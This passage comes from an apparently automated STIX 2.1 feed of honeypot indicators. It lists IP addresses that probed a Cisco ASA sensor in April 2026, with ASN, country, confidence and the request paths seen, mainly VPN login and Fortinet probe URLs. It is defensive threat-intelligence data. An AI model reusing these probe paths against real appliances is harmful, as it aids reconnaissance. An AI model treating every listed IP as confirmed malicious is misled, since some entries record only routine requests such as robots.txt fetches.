            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T20:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3f55dce6-115d-4c64-8053-c064da336a33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:20:30.000Z",
      "valid_until": "2026-05-23T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T12:44:28.584Z",
          "last_seen": "2026-04-28T04:43:42.495Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T20:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5b50bc23-37c3-489c-af43-25a6fdd9b1e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:20:30.000Z",
      "valid_until": "2026-05-23T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T20:19:48.198Z",
          "last_seen": "2026-04-29T18:46:13.831Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T20:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--372a9f9e-4bf7-4592-9b86-79be88eefa51",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.101.177.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T20:20:30.000Z",
      "valid_until": "2026-05-23T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-21T19:35:38.551Z",
          "last_seen": "2026-04-21T19:35:46.330Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--6456ea78-46df-4dba-9be2-4b86878a91fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:20:11.000Z",
      "valid_until": "2026-05-23T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T20:46:58.842Z",
          "last_seen": "2026-04-29T12:32:34.012Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--e8500091-b7e7-406f-a011-27e61c4d955a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:20:11.000Z",
      "valid_until": "2026-05-23T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-21T20:34:29.316Z",
          "last_seen": "2026-04-21T20:34:32.318Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--29aa4733-124a-4272-8282-4fa89a8e55b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:20:11.000Z",
      "valid_until": "2026-05-23T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T20:40:06.413Z",
          "last_seen": "2026-04-30T01:49:47.019Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--60044d98-e742-45ec-8cf5-e7a85bdf2051",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:20:11.000Z",
      "valid_until": "2026-05-23T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T20:23:09.331Z",
          "last_seen": "2026-04-28T04:14:07.227Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e8997d79-4d94-4d77-80f5-7ad07e1ca7d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:20:11.000Z",
      "valid_until": "2026-05-23T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-21T21:15:46.437Z",
          "last_seen": "2026-04-21T21:15:55.939Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fa3adf19-dd62-4407-bdde-1e17fe6ce7f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T21:20:11.000Z",
      "valid_until": "2026-05-23T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T21:09:15.122Z",
          "last_seen": "2026-04-28T00:35:08.701Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T01:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--e02f43d8-5ddd-4eeb-9207-a43f207e2e29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.201.164.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:20:21.000Z",
      "valid_until": "2026-05-24T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-08T00:51:29.776Z",
          "last_seen": "2026-04-22T00:59:11.427Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T01:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--ae886b63-ff82-406e-bb96-98ea8fd83df6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.82.48.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T01:20:21.000Z",
      "valid_until": "2026-05-24T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-22T01:02:26.980Z",
          "last_seen": "2026-04-22T01:02:26.980Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2b4ca5a6-ce24-42ce-8339-46ff086de19d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:20:10.000Z",
      "valid_until": "2026-05-24T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-22T01:42:56.042Z",
          "last_seen": "2026-04-22T01:43:03.805Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--5bbed8e4-9a9c-47e4-9ae5-2176cf97abd2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.55.50.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:20:10.000Z",
      "valid_until": "2026-05-24T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-22T01:20:55.321Z",
          "last_seen": "2026-04-22T01:20:58.323Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e6097ee5-3035-4b38-a02b-46ebcb56e37e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T02:20:10.000Z",
      "valid_until": "2026-05-24T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-22T01:26:46.199Z",
          "last_seen": "2026-04-30T05:43:41.839Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:20:05.000Z",
      "valid_until": "2026-05-24T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-22T03:12:47.878Z",
          "last_seen": "2026-04-22T03:19:03.646Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b0705290-1c18-49de-9422-f9de069480d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:20:05.000Z",
      "valid_until": "2026-05-24T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-22T03:17:01.935Z",
          "last_seen": "2026-04-22T03:17:01.935Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2c62911f-67a8-43b1-ab8a-1501365411bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:20:05.000Z",
      "valid_until": "2026-05-24T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-22T03:16:55.463Z",
          "last_seen": "2026-04-22T03:17:19.242Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f8647de8-40cc-4d9f-9efa-854c185d0480",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:20:05.000Z",
      "valid_until": "2026-05-24T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-22T03:16:52.771Z",
          "last_seen": "2026-04-22T03:16:52.771Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:20:05.000Z",
      "valid_until": "2026-05-24T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-22T03:17:04.442Z",
          "last_seen": "2026-04-22T03:17:04.442Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8d31598c-cce4-4294-8931-7d7d0fb5076f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:20:05.000Z",
      "valid_until": "2026-05-24T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-22T03:14:48.481Z",
          "last_seen": "2026-04-22T03:14:48.481Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-22T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8e3eada1-f858-424d-b77b-aa7961e591d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T03:20:05.000Z",
      "valid_until": "2026-05-24T03:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
